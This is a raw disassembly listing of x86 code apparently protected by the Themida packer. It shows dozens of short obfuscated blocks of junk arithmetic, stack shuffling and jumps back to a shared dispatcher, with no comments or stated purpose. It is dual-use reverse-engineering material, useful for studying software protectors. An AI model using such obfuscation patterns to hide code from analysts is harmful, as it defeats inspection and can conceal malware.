		pop	ebp
		add	ebp, 4
		push	eax
		jmp	loc_56DDF4
; ---------------------------------------------------------------------------


loc_56FA26:				; CODE XREF: sub_562ABA-35D0j
		mov	[esp+26h+var_28+2], edx
		mov	dh, bl
		jmp	loc_569C6B
; ---------------------------------------------------------------------------


loc_56FA30:				; CODE XREF: sub_562ABA+4E22j
		shr	ebx, 4
		push	edi
		jmp	loc_568198
; ---------------------------------------------------------------------------


loc_56FA39:				; CODE XREF: sub_562ABA+8558j
		push	39514B20h
		pop	ebx
		xor	ebx, 72154232h
		sub	ebx, 6309305Ch
		not	ebx
		jmp	loc_564C94
; ---------------------------------------------------------------------------


loc_56FA52:				; CODE XREF: sub_562ABA+43ADj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	[esp+5Eh+var_5A]
		pop	eax
		pop	[esp+5Eh+var_5E]
		pop	esp
		mov	[esp+56h+var_56], ebx
		sub	esp, 4
		jmp	loc_57165A
; ---------------------------------------------------------------------------


loc_56FA71:				; CODE XREF: sub_562ABA+9256j
		and	eax, ebx
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		or	eax, eax
		jz	loc_56CD3D
		push	dword ptr [edi+28h]
		push	[esp+0Ah+var_C+2]
		pop	eax
		push	2D3Ah
		mov	[esp+0], esi
		push	esp
		mov	esi, [esp+12h+var_12]
		add	esp, 4
		push	edi
		mov	edi, 8B73B8Ch
		neg	edi
		shl	edi, 8
		jmp	loc_57035C
; ---------------------------------------------------------------------------


loc_56FAA7:				; CODE XREF: sub_562ABA+BA5Fj
		add	esp, 4
		xor	ecx, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], ecx
		xor	ecx, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		sub	esp, 4
		mov	[esp-10h+arg_C], ebx
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_56ABF6
; ---------------------------------------------------------------------------


loc_56FAD0:				; CODE XREF: sub_562ABA+8CBAj
		mov	ebp, edx
		pop	edx
		jmp	loc_569D2A
; ---------------------------------------------------------------------------


loc_56FAD8:				; CODE XREF: sub_562ABA-5Ej
		mov	[esp+2Ah+var_2C+2], eax
		mov	eax, 44C23AE8h
		xor	esi, eax
		pop	eax
		add	esi, 0B3833E74h
		push	esi
		jmp	loc_568DE8
; ---------------------------------------------------------------------------


loc_56FAEF:				; CODE XREF: sub_562ABA+693Ej
		mov	eax, 44033201h
		and	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 70248ABh
		neg	ebp
		jmp	loc_562664
; ---------------------------------------------------------------------------


loc_56FB04:				; CODE XREF: Themida_:00572B9Dj
		mov	eax, [esp-10h+arg_C]
		jmp	loc_5722E7
; ---------------------------------------------------------------------------


loc_56FB0C:				; CODE XREF: sub_562ABA+E13Cj
		add	edx, 4
		xchg	edx, [esp-10h+arg_C]
		jmp	loc_56D8F5
; ---------------------------------------------------------------------------


loc_56FB1A:				; CODE XREF: sub_562ABA+B5E9j
		and	ecx, edi
		jmp	loc_567121
; ---------------------------------------------------------------------------


loc_56FB21:				; CODE XREF: sub_562ABA+8372j
		add	ebx, 2
		xor	ebx, [esp+12h+var_12]
		xor	[esp+12h+var_12], ebx
		jmp	loc_568953
; ---------------------------------------------------------------------------


loc_56FB2F:				; CODE XREF: sub_562ABA-4282j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		push	eax
		mov	eax, 4
		add	ebp, 34E96787h
		jmp	loc_57196C
; ---------------------------------------------------------------------------


loc_56FB50:				; CODE XREF: sub_562ABA+7FE8j
		pop	esp
		mov	[esp+20h+var_22+2], esi
		mov	esi, 5DAA0116h
		add	eax, esi
		push	[esp+20h+var_22+2]
		push	dword ptr [esp+0]
		pop	esi
		jmp	loc_5625B2
; ---------------------------------------------------------------------------


loc_56FB67:				; CODE XREF: sub_562ABA-43BBj
		push	[esp+22h+var_22]
		pop	eax
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+1Eh+var_1E]
		pop	esp
		mov	[esp+1Ah+var_1A], esi
		jmp	loc_5675C6
; ---------------------------------------------------------------------------


loc_56FB84:				; CODE XREF: sub_562ABA+4575j
		add	bl, al
		jmp	loc_55F1D4
; ---------------------------------------------------------------------------


loc_56FB8B:				; CODE XREF: sub_562ABA+A565j
		sub	esp, 4
		mov	[esp+34h+var_36+2], edi
		mov	edi, 59C66D60h
		jmp	loc_570BC2
; ---------------------------------------------------------------------------


loc_56FB9E:				; CODE XREF: sub_562ABA+88CFj
		or	edx, ebx
		pop	ebx
		shr	edx, 6
		jmp	loc_5708F0
; ---------------------------------------------------------------------------


loc_56FBA9:				; CODE XREF: sub_562ABA+6499j
		push	5946h
		jmp	loc_56972C
; ---------------------------------------------------------------------------


loc_56FBB3:				; CODE XREF: sub_562ABA+968Aj
		add	esp, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	edi, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	ebx
		push	edi
		push	7BCA4DE1h
		pop	edi
		xor	edi, 58C934DDh
		jmp	loc_5660E0
; ---------------------------------------------------------------------------


loc_56FBD6:				; CODE XREF: sub_562ABA+AD35j
		sub	edx, 0F20748F0h
		push	447Dh
		jmp	loc_56C437
; ---------------------------------------------------------------------------


loc_56FBE6:				; CODE XREF: sub_562ABA+6B5j
		mov	[esp-8+arg_4], ebx
		jmp	loc_570FC6
; ---------------------------------------------------------------------------


loc_56FBEE:				; CODE XREF: sub_562ABA+AA17j
		push	esi
		mov	esi, 776810FEh
		neg	esi
		add	esi, 4D211709h
		not	esi
		xor	esi, 6310B9CAh
		or	edi, esi
		pop	esi
		and	edi, 79795BD2h
		add	edi, 0A68EBE32h
		sub	ecx, 22C27366h
		add	ecx, edi
		add	ecx, 22C27366h
		mov	edi, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_5615EA
; ---------------------------------------------------------------------------


loc_56FC2C:				; CODE XREF: sub_562ABA+B0CEj
		xor	ecx, 3A793EDAh
		and	ecx, 12B84554h
		and	ecx, 0BC138ACh
		dec	ecx
		jmp	loc_56DE88
; ---------------------------------------------------------------------------


loc_56FC44:				; CODE XREF: sub_562ABA-3517j
		xor	eax, edi
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		push	esi
		mov	esi, 179706B2h
		sub	esi, 4011533Ch
		not	esi
		jmp	loc_568E00
; ---------------------------------------------------------------------------


loc_56FC5F:				; CODE XREF: sub_562ABA+A52j
		push	5838h
		jmp	loc_565080
; ---------------------------------------------------------------------------


loc_56FC69:				; CODE XREF: sub_562ABA+9A2Dj
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		mov	edi, esi
		pop	esi
		mov	eax, 61C272Bh
		xor	eax, edi
		push	[esp+26h+var_28+2]
		mov	edi, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_567566
; ---------------------------------------------------------------------------


loc_56FC8D:				; CODE XREF: sub_562ABA-2E3Cj
		add	esp, 4
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56FC98:				; CODE XREF: sub_562ABA-EACj
		pop	edx
		pop	edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 70E61B5Eh
		add	ecx, 7A6913BDh
		shr	ecx, 5
		push	eax
		mov	eax, 5D76F042h
		jmp	loc_569EDD
; ---------------------------------------------------------------------------


loc_56FCB9:				; CODE XREF: sub_562ABA-34E9j
		add	edx, eax
		push	edi
		mov	edi, 2D25D79h
		shr	edi, 1
		inc	edi
		sub	edi, 0E29259Ch
		sub	edi, 8B5CD075h
		sub	edx, edi
		pop	edi
		pop	eax
		jmp	loc_5651B2
; ---------------------------------------------------------------------------


loc_56FCD9:				; CODE XREF: sub_562ABA+EEF8j
		push	edx
		mov	edx, 176D3AA3h
		jmp	loc_56A5E7
; ---------------------------------------------------------------------------


loc_56FCE4:				; CODE XREF: sub_562ABA+F279j
		pop	eax
		jmp	loc_56C35C
; ---------------------------------------------------------------------------


loc_56FCEA:				; CODE XREF: sub_562ABA+BC76j
		push	ecx
		push	ebp
		push	6D9E388Ah
		mov	ebp, [esp+6+var_8+2]
		add	esp, 4
		and	ebp, 2AF90DABh
		xor	ebp, 7DB0534Bh
		mov	ecx, ebp
		pop	ebp
		and	ebx, ecx
		pop	ecx
		push	edx
		jmp	loc_568E6C
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ecx
		mov	ecx, 4F8C620Eh
		push	7AC6h
		mov	[esp+6+var_8+2], edx
		push	6C08h
		mov	[esp+0Ah+var_C+2], ecx
		jmp	loc_56E095
; ---------------------------------------------------------------------------


loc_56FD2D:				; CODE XREF: sub_562ABA+8966j
		add	ebx, 588C449Dh
		sub	ebx, esi
		sub	ebx, 588C449Dh
		push	dword ptr [esp+0]
		jmp	loc_567A05
; ---------------------------------------------------------------------------


loc_56FD43:				; CODE XREF: sub_562ABA+ADFFj
		xor	ebx, 579559ECh
		neg	ebx
		jmp	loc_568A19
; ---------------------------------------------------------------------------


loc_56FD50:				; CODE XREF: sub_562ABA+30Bj
		add	ebp, 202F1B51h
		mov	ebx, ebp
		mov	ebp, [esp+42h+var_42]
		add	esp, 4
		sub	[esp+3Eh+var_3A], ebx
		mov	ebx, [esp+3Eh+var_3E]
		add	esp, 4
		add	[esp+3Ah+var_3A], 38D70C91h
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56FD7A:				; CODE XREF: sub_562ABA+7EAEj
		add	bl, 0DAh
		sub	bl, 8Ch
		jmp	loc_565862
; ---------------------------------------------------------------------------


loc_56FD85:				; CODE XREF: sub_562ABA+3BB7j
		mov	[esp+36h+var_36], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+36h+var_36]
		jmp	loc_56406C
; ---------------------------------------------------------------------------


loc_56FD9A:				; CODE XREF: sub_562ABA+13E5j
		pop	edi
		sub	eax, ecx
		jmp	loc_567BD2
; ---------------------------------------------------------------------------


loc_56FDA2:				; CODE XREF: sub_562ABA+AF86j
		mov	[esp], edi
		push	103765C4h
		jmp	loc_566071
; ---------------------------------------------------------------------------


loc_56FDAF:				; CODE XREF: sub_562ABA+CB1Fj
		mov	ecx, 2
		jmp	loc_572A67
; ---------------------------------------------------------------------------


loc_56FDB9:				; CODE XREF: sub_562ABA-1E34j
		xor	ebx, 36A26A69h
		jmp	loc_56A1F4
; ---------------------------------------------------------------------------


loc_56FDC4:				; CODE XREF: sub_562ABA+3477j
		add	ebx, edi
		pop	edi
		sub	ebx, 6134990h
		add	ebx, esi
		add	ebx, 6134990h
		sub	ebx, 614303A1h
		pop	esi
		xchg	ebx, [esp+0Ah+var_C+2]
		pop	esp
		pop	[esp+6+var_8+2]
		pop	esp
		push	5581h
		mov	[esp+2+var_4+2], ebx
		push	ecx
		mov	ch, dl
		jmp	loc_56A6BD
; ---------------------------------------------------------------------------


loc_56FDF4:				; CODE XREF: sub_562ABA-26B2j
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		push	esi
		push	edi
		mov	edi, 76B32B7h
		neg	edi
		and	edi, 27455805h
		add	edi, 0F561FA88h
		mov	esi, edi
		jmp	loc_56989A
; ---------------------------------------------------------------------------


loc_56FE16:				; CODE XREF: sub_562ABA+8954j
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], ecx
		mov	ecx, 0C8B6778h
		dec	ecx
		push	57B1h
		mov	[esp+22h+var_22], edx
		push	ebx
		mov	ebx, 78A161F2h
		xor	ebx, 63E47139h
		mov	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 4ABB5E9Dh
		jmp	loc_569C64
; ---------------------------------------------------------------------------


loc_56FE4D:				; CODE XREF: sub_562ABA-4055j
		pop	esi
		jmp	loc_5613DA
; ---------------------------------------------------------------------------


loc_56FE53:				; CODE XREF: sub_562ABA+9964j
		mov	[esp+4Ah+var_4A], eax
		jmp	loc_56C68F
; ---------------------------------------------------------------------------


loc_56FE5B:				; CODE XREF: sub_562ABA+78FDj
		push	edi
		push	[esp+0Eh+var_C+2]
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp+0Ah+var_C+2]
		push	[esp+0Ah+var_C+2]
		mov	ecx, [esp+0]
		add	esp, 4
		push	6BE8h
		mov	[esp+0], ebx
		push	6434h
		push	1F9Eh
		push	esp
		pop	[esp+1Ah+var_1A]
		add	[esp+16h+var_16], 4
		pop	[esp+16h+var_16]
		add	[esp+12h+var_12], 4
		jmp	loc_56ABCD
; ---------------------------------------------------------------------------


loc_56FE99:				; CODE XREF: sub_562ABA+6A31j
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_55ED68
; ---------------------------------------------------------------------------


loc_56FEA9:				; CODE XREF: sub_562ABA+E580j
		push	737h
		mov	[esp+22h+var_22], edi
		push	2C1Eh
		mov	[esp+26h+var_28+2], esp
		jmp	loc_567B34
; ---------------------------------------------------------------------------


loc_56FEBE:				; CODE XREF: sub_562ABA+E1ABj
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+2Ah+var_2C+2]
		jmp	loc_5705CD
; ---------------------------------------------------------------------------


loc_56FEDA:				; CODE XREF: sub_562ABA+ACC2j
		mov	[esp+36h+var_36], esp
		jmp	loc_56285A
; ---------------------------------------------------------------------------


loc_56FEE2:				; CODE XREF: sub_562ABA+385j
		add	bl, al
		sub	bl, 13h
		sub	bl, 39h
		sub	bl, 5
		sub	esp, 4
		jmp	loc_55FB57
; ---------------------------------------------------------------------------


loc_56FEF8:				; CODE XREF: sub_562ABA+D7E5j
		mov	ebp, 3F770D17h
		add	edx, ebp
		pop	ebp
		add	edx, 5EE13E74h
		jmp	loc_568991
; ---------------------------------------------------------------------------


loc_56FF0B:				; CODE XREF: sub_562ABA+2979j
		pop	eax
		add	esp, 4
		push	30h
		mov	[esp-6+arg_0+2], edx
		mov	edx, 2
		push	eax
		mov	eax, 19C64DC0h
		shr	eax, 6
		neg	eax
		or	eax, 4B0D62FBh
		sub	eax, 6BB50D54h
		xor	eax, 0A02CAE4Dh
		add	ecx, eax
		pop	eax
		sub	ecx, 64F57E56h
		add	ecx, edx
		jmp	loc_55E6AC
; ---------------------------------------------------------------------------


loc_56FF46:				; CODE XREF: sub_562ABA+661j
		sub	esi, 2C335275h
		and	esi, 377E076Bh
		neg	esi
		add	esi, 9704365Ah
		xor	eax, esi
		push	[esp+1Eh+var_1E]
		pop	esi
		add	esp, 4
		jmp	loc_55FB0D
; ---------------------------------------------------------------------------


loc_56FF68:				; CODE XREF: sub_562ABA+F873j
		add	edi, ecx
		push	3EF2h
		mov	[esp+1Eh+var_1E], ecx
		push	ebp
		push	601A7B5Ah
		jmp	loc_564922
; ---------------------------------------------------------------------------


loc_56FF7D:				; CODE XREF: sub_562ABA+4857j
		add	dword ptr [esp+0], 4
		pop	edi
		jmp	loc_564340
; ---------------------------------------------------------------------------


loc_56FF87:				; CODE XREF: sub_562ABA+CD9Dj
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_564294
; ---------------------------------------------------------------------------


loc_56FF92:				; CODE XREF: sub_562ABA+517j
		push	ecx
		jmp	loc_55F8D1
; ---------------------------------------------------------------------------


loc_56FF98:				; CODE XREF: sub_562ABA+2141j
		sub	ebp, edx
		jmp	loc_56E79E
; ---------------------------------------------------------------------------


loc_56FF9F:				; CODE XREF: sub_55FCA5+3E2j
		add	edi, 720E5A59h
		pop	ebp
		push	ecx
		jmp	loc_5622AE
; ---------------------------------------------------------------------------


loc_56FFAC:				; CODE XREF: sub_562ABA+44A8j
		mov	ebp, 65AE0BDFh
		jmp	loc_560D89
; ---------------------------------------------------------------------------


loc_56FFB6:				; CODE XREF: sub_562ABA+ED5Dj
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp-0Eh+arg_C+2]
		pop	eax
		jmp	loc_56B0A7
; ---------------------------------------------------------------------------


loc_56FFC9:				; CODE XREF: sub_562ABA+B8FDj
		mov	edx, 4
		jmp	loc_56CA44
; ---------------------------------------------------------------------------


loc_56FFD3:				; CODE XREF: Themida_:005609A8j
		push	ebp
		mov	ebp, esp
		jmp	loc_5692D3
; ---------------------------------------------------------------------------


loc_56FFDB:				; CODE XREF: sub_55EE90+3j
		pop	ebx
		not	ebx
		push	ebp
		push	ebx
		jmp	loc_56D832
; ---------------------------------------------------------------------------


loc_56FFE5:				; CODE XREF: sub_562ABA-1417j
		pop	[esp+2Ah+var_2C+2]
		mov	esp, [esp+26h+var_28+2]
		mov	fs:[edx], ax
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56FFF4:				; CODE XREF: sub_562ABA+A251j
		pop	ecx
		add	ebx, 2
		xchg	ebx, [esp+3Ah+var_3A]
		pop	esp
		push	5C9Bh
		jmp	loc_561064
; ---------------------------------------------------------------------------


loc_570006:				; CODE XREF: sub_562ABA+2BA3j
		push	30FE7661h
		jmp	loc_56330E
; ---------------------------------------------------------------------------


loc_570010:				; CODE XREF: sub_562ABA+3485j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+16h+var_16]
		xor	[esp+16h+var_16], ebx
		xor	ebx, [esp+16h+var_16]
		jmp	loc_572521
; ---------------------------------------------------------------------------


loc_57002B:				; DATA XREF: Themida_:0055DDF0o
		mov	ax, word ptr [esp+16h+var_16]
		push	20Dh
		mov	[esp+1Ah+var_1A], edx
		push	74A4h
		push	esp
		pop	[esp+22h+var_22]
		push	ecx
		mov	ecx, 4
		add	[esp+22h+var_1E], ecx
		pop	ecx
		mov	edx, [esp+1Eh+var_1E]
		push	edx
		push	esp
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56E415
; ---------------------------------------------------------------------------


loc_570067:				; CODE XREF: sub_562ABA+77EEj
		add	edi, ecx
		add	edi, 2B27199h
		pop	ecx
		jmp	loc_564886
; ---------------------------------------------------------------------------


loc_570075:				; CODE XREF: sub_562ABA+EFFEj
		mov	ecx, esi
		pop	esi
		add	ecx, 0F393F13Dh
		jmp	loc_55FA55
; ---------------------------------------------------------------------------


loc_570083:				; CODE XREF: sub_562ABA+B301j
		sub	bl, 1
		sub	bl, 0F8h
		add	bl, dl
		push	ecx
		mov	cl, 0F8h
		add	bl, cl
		pop	ecx
		push	eax
		mov	al, 13h
		jmp	loc_56ABB0
; ---------------------------------------------------------------------------


loc_570099:				; CODE XREF: sub_562ABA+DE38j
		neg	edx
		add	edx, 3BBE6079h
		xor	esi, edx
		jmp	loc_56F9CA
; ---------------------------------------------------------------------------


loc_5700A8:				; CODE XREF: sub_562ABA+5D1Fj
		mov	[esp+16h+var_16], esp
		push	ebx
		push	esi
		mov	esi, 2BD96FC7h
		neg	esi
		or	esi, 2CF173E9h
		dec	esi
		dec	esi
		sub	esi, 0FCF7F3F3h
		mov	ebx, esi
		pop	esi
		jmp	loc_56FA0C
; ---------------------------------------------------------------------------


loc_5700CA:				; CODE XREF: sub_5617E6+7j
		xor	ebp, 3535215Eh
		push	ebp
		sub	[esp+1Eh+var_1E], 57402F84h
		pop	edi
		add	edi, 57402F84h
		mov	ebp, [esp+1Ah+var_1A]
		jmp	loc_56317F
; ---------------------------------------------------------------------------


loc_5700E7:				; CODE XREF: sub_562ABA+EB21j
		add	word ptr [esp+1Ah+var_1A], 34h
		jmp	loc_570C9B
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Ah+var_1A]
		jmp	loc_564BAD
; ---------------------------------------------------------------------------


loc_5700FB:				; CODE XREF: sub_562ABA+21A9j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_571178
; ---------------------------------------------------------------------------


loc_57010C:				; CODE XREF: sub_562ABA+7D66j
		pop	ebp
		jmp	loc_56E486
; ---------------------------------------------------------------------------


loc_570112:				; CODE XREF: sub_562ABA+6814j
		dec	ecx
		xchg	eax, ecx
		jmp	loc_55EEE6
; ---------------------------------------------------------------------------


loc_570119:				; CODE XREF: sub_562ABA+69BDj
		pop	esi
		sub	ebp, 0FFFFFFFFh
		not	ebp
		jmp	loc_5669E6
; ---------------------------------------------------------------------------


loc_570124:				; CODE XREF: sub_562ABA-2EA0j
		add	edx, eax
		mov	eax, [esp+12h+var_12]
		add	esp, 4
		xchg	edx, [esp+0]
		pop	esp
		push	esi
		jmp	loc_567612
; ---------------------------------------------------------------------------


loc_570136:				; CODE XREF: sub_562ABA+3754j
		add	esp, 4
		and	ecx, eax
		pop	eax
		shr	ecx, 7
		push	edx
		jmp	loc_55EDC2
; ---------------------------------------------------------------------------


loc_570145:				; CODE XREF: sub_562ABA-4D4j
		xor	eax, 31C92D0Bh
		neg	eax
		not	eax
		jmp	sub_55F777
; ---------------------------------------------------------------------------


loc_570153:				; CODE XREF: sub_562ABA+71D3j
		not	cx
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edi
		sub	esp, 4
		jmp	loc_57220E
; ---------------------------------------------------------------------------


loc_57016A:				; CODE XREF: sub_562ABA+CA99j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_56A55A
; ---------------------------------------------------------------------------


loc_57017C:				; CODE XREF: sub_562ABA+47E6j
		sub	edx, 9B19ECE2h
		jmp	loc_565F14
; ---------------------------------------------------------------------------


loc_570187:				; CODE XREF: sub_562ABA-367Fj
		push	4BE7h
		jmp	loc_56A489
; ---------------------------------------------------------------------------


loc_570191:				; CODE XREF: sub_562ABA+BD20j
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 7E2A5C07h
		add	edx, ebp
		pop	ebp
		jmp	loc_571DE7
; ---------------------------------------------------------------------------


loc_5701A4:				; CODE XREF: sub_562ABA+7FDAj
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5701A9:				; CODE XREF: sub_562ABA+458j
		sub	edi, 22A12276h
		xor	edi, 636BA3CDh
		add	eax, edi
		jmp	loc_5682DF
; ---------------------------------------------------------------------------


loc_5701BC:				; CODE XREF: sub_562ABA+2724j
		pop	esi
		not	ebp
		push	esi
		mov	esi, 0F6F1247Dh
		sub	ebp, esi
		mov	esi, [esp+0]
		add	esp, 4
		sub	edx, ebp
		pop	ebp
		xor	edx, 8B01E5D3h
		push	edx
		pop	ebp
		pop	edx
		add	edi, ebp
		pop	ebp
		add	edi, 4
		push	edi
		push	[esp-0Eh+arg_C+2]
		pop	edi
		pop	[esp-0Eh+arg_8+2]
		mov	esp, [esp-12h+arg_C+2]
		inc	[esp-12h+arg_C+2]
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_5701F4:				; CODE XREF: sub_5722B7-1396Aj
		push	[esp-0Eh+arg_8+2]
		pop	edx
		jmp	loc_561F72
; ---------------------------------------------------------------------------


loc_5701FD:				; CODE XREF: sub_562ABA-70j
		push	37BAh
		jmp	loc_55EE7D
; ---------------------------------------------------------------------------


loc_570207:				; CODE XREF: sub_562ABA+A6B2j
		push	ebp
		mov	ebp, 96D40C6h
		xor	ebp, 445875F7h
		add	eax, ebp
		pop	ebp
		pop	edx
		add	eax, 2
		xor	eax, [esp+22h+var_22]
		xor	[esp+22h+var_22], eax
		xor	eax, [esp+22h+var_22]
		pop	esp
		jmp	loc_56207D
; ---------------------------------------------------------------------------


loc_570229:				; CODE XREF: sub_562ABA+AD8Aj
		add	al, 39h
		add	al, 87h
		jmp	near ptr unk_562D23
; ---------------------------------------------------------------------------


loc_570232:				; CODE XREF: sub_562ABA+604Bj
		add	edx, 8BE8BF36h
		mov	eax, edx
		mov	edx, [esp+1Eh+var_1E]
		add	esp, 4
		and	eax, 5C4B5F9Fh
		jmp	loc_56CAF1
; ---------------------------------------------------------------------------


loc_57024D:				; CODE XREF: sub_562ABA+5A4Dj
		pop	ebx
		and	eax, edx
		jmp	loc_570C3E
; ---------------------------------------------------------------------------


loc_570255:				; CODE XREF: sub_562ABA+7047j
		push	ecx
		mov	cl, 0F5h
		jmp	loc_56A01E
; ---------------------------------------------------------------------------


loc_57025D:				; CODE XREF: sub_562ABA+90CCj
		pop	ebp
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+42h+var_3E]
		pop	ebp
		pop	[esp+42h+var_42]
		mov	esp, [esp+3Eh+var_3E]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_570281:				; CODE XREF: sub_562ABA+2902j
		push	edx
		mov	edx, 685E6643h
		and	edx, 6C040338h
		xor	edx, 68040200h
		mov	ebx, edx
		push	[esp+26h+var_28+2]
		pop	edx
		jmp	loc_5618CF
; ---------------------------------------------------------------------------


loc_57029E:				; CODE XREF: sub_562ABA-4698j
		push	ebp
		jmp	loc_56FEF8
; ---------------------------------------------------------------------------


loc_5702A4:				; CODE XREF: sub_562ABA-3C14j
		push	44FBh
		mov	[esp+36h+var_36], esi
		jmp	loc_56486E
; ---------------------------------------------------------------------------


loc_5702B1:				; CODE XREF: sub_562ABA+1A26j
		pop	edi
		xchg	edx, [esp+16h+var_16]
		jmp	loc_56C655
; ---------------------------------------------------------------------------


loc_5702BA:				; CODE XREF: sub_562ABA+80F1j
		push	dword ptr [esp+0]
		mov	ecx, [esp+28h+var_28]
		add	esp, 4
		add	esp, 4
		xor	ecx, 731F72BFh
		and	ecx, 2E5A7E7Ah
		push	ebx
		mov	ebx, 0D0C8762h
		xor	ecx, ebx
		pop	ebx
		mov	esi, ecx
		mov	ecx, [esp+20h+var_22+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56499E
; ---------------------------------------------------------------------------


loc_5702F1:				; CODE XREF: sub_562ABA-3085j
		mov	ebx, 2EFE7AFDh
		xor	ebp, ebx
		pop	ebx
		add	ebx, 69FD37DEh
		jmp	loc_561C3E
; ---------------------------------------------------------------------------


loc_570304:				; CODE XREF: sub_562ABA+2A9Bj
		pop	edi
		add	esp, 4
		jmp	loc_5712A0
; ---------------------------------------------------------------------------


loc_57030D:				; CODE XREF: sub_562ABA+B7FBj
		mov	edx, ecx
		jmp	loc_570E01
; ---------------------------------------------------------------------------


loc_570314:				; CODE XREF: sub_562ABA-679j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+16h+var_16]
		pop	esp
		jmp	loc_56B745
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_570337:				; CODE XREF: sub_562ABA+C159j
		pop	edi
		pop	edi
		add	edi, 72E21498h
		sub	edi, eax
		sub	edi, 72E21498h
		pop	eax
		add	esi, edi
		jmp	loc_56A2AD
; ---------------------------------------------------------------------------


loc_57034F:				; CODE XREF: sub_562ABA+B5CFj
		xor	edi, 0D159504h
		add	edx, edi
		jmp	loc_568EFE
; ---------------------------------------------------------------------------


loc_57035C:				; CODE XREF: sub_562ABA+CFE8j
		sub	edi, 48C473FCh
		jmp	loc_562B4E
; ---------------------------------------------------------------------------


loc_570367:				; CODE XREF: sub_562ABA+14Ej
		push	edx
		mov	dh, 0A2h
		sub	dh, 0A8h
		sub	cl, dh
		pop	edx
		sub	bl, cl
		pop	ecx
		add	bl, cl
		add	bl, 7
		add	bl, 52h
		jmp	loc_56763C
; ---------------------------------------------------------------------------


loc_570380:				; DATA XREF: Themida_:0055DFCCo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+0], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_57038F:				; CODE XREF: sub_562ABA+E84Bj
		mov	edi, 4
		add	ebp, edi
		jmp	loc_56D9BC
; ---------------------------------------------------------------------------


loc_57039B:				; CODE XREF: sub_562ABA+8845j
		pop	esp
		sub	esp, 4
		mov	[esp+58h+var_5A+2], ebp
		push	edx
		mov	edx, 5EAC1251h
		jmp	loc_560956
; ---------------------------------------------------------------------------


loc_5703AD:				; CODE XREF: sub_562ABA-15E2j
		add	ecx, 5F196CEDh
		add	ecx, edi
		sub	ecx, 5F196CEDh
		jmp	loc_571E3D
; ---------------------------------------------------------------------------


loc_5703C0:				; CODE XREF: sub_562ABA-31B5j
		neg	ebp
		neg	ebp
		push	ebx
		jmp	loc_56F98E
; ---------------------------------------------------------------------------


loc_5703CA:				; CODE XREF: sub_562ABA+EA1Fj
		push	esp
		jmp	loc_5703F5
; ---------------------------------------------------------------------------


loc_5703D0:				; CODE XREF: sub_562ABA+2260j
		xchg	al, [esp+1]
		not	al
		push	edx
		mov	dl, al
		mov	al, [esp+5]
		jmp	loc_55F059
; ---------------------------------------------------------------------------


loc_5703E2:				; CODE XREF: sub_562ABA+343Fj
		mov	edi, 57FB11D6h
		xor	edi, 57FB11D2h
		add	ecx, edi
		pop	edi
		jmp	loc_56B7E2
; ---------------------------------------------------------------------------


loc_5703F5:				; CODE XREF: sub_562ABA+D911j
		pop	eax
		push	edx
		push	ebx
		mov	ebx, 361976C1h
		jmp	loc_56BC1F
; ---------------------------------------------------------------------------


loc_570402:				; CODE XREF: sub_562ABA+AB65j
		push	edi
		jmp	loc_569616
; ---------------------------------------------------------------------------


loc_570408:				; CODE XREF: sub_562ABA+2A28j
		xchg	edi, [esp+6+var_8+2]
		pop	esp
		sub	esp, 4
		mov	[esp+6+var_8+2], edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
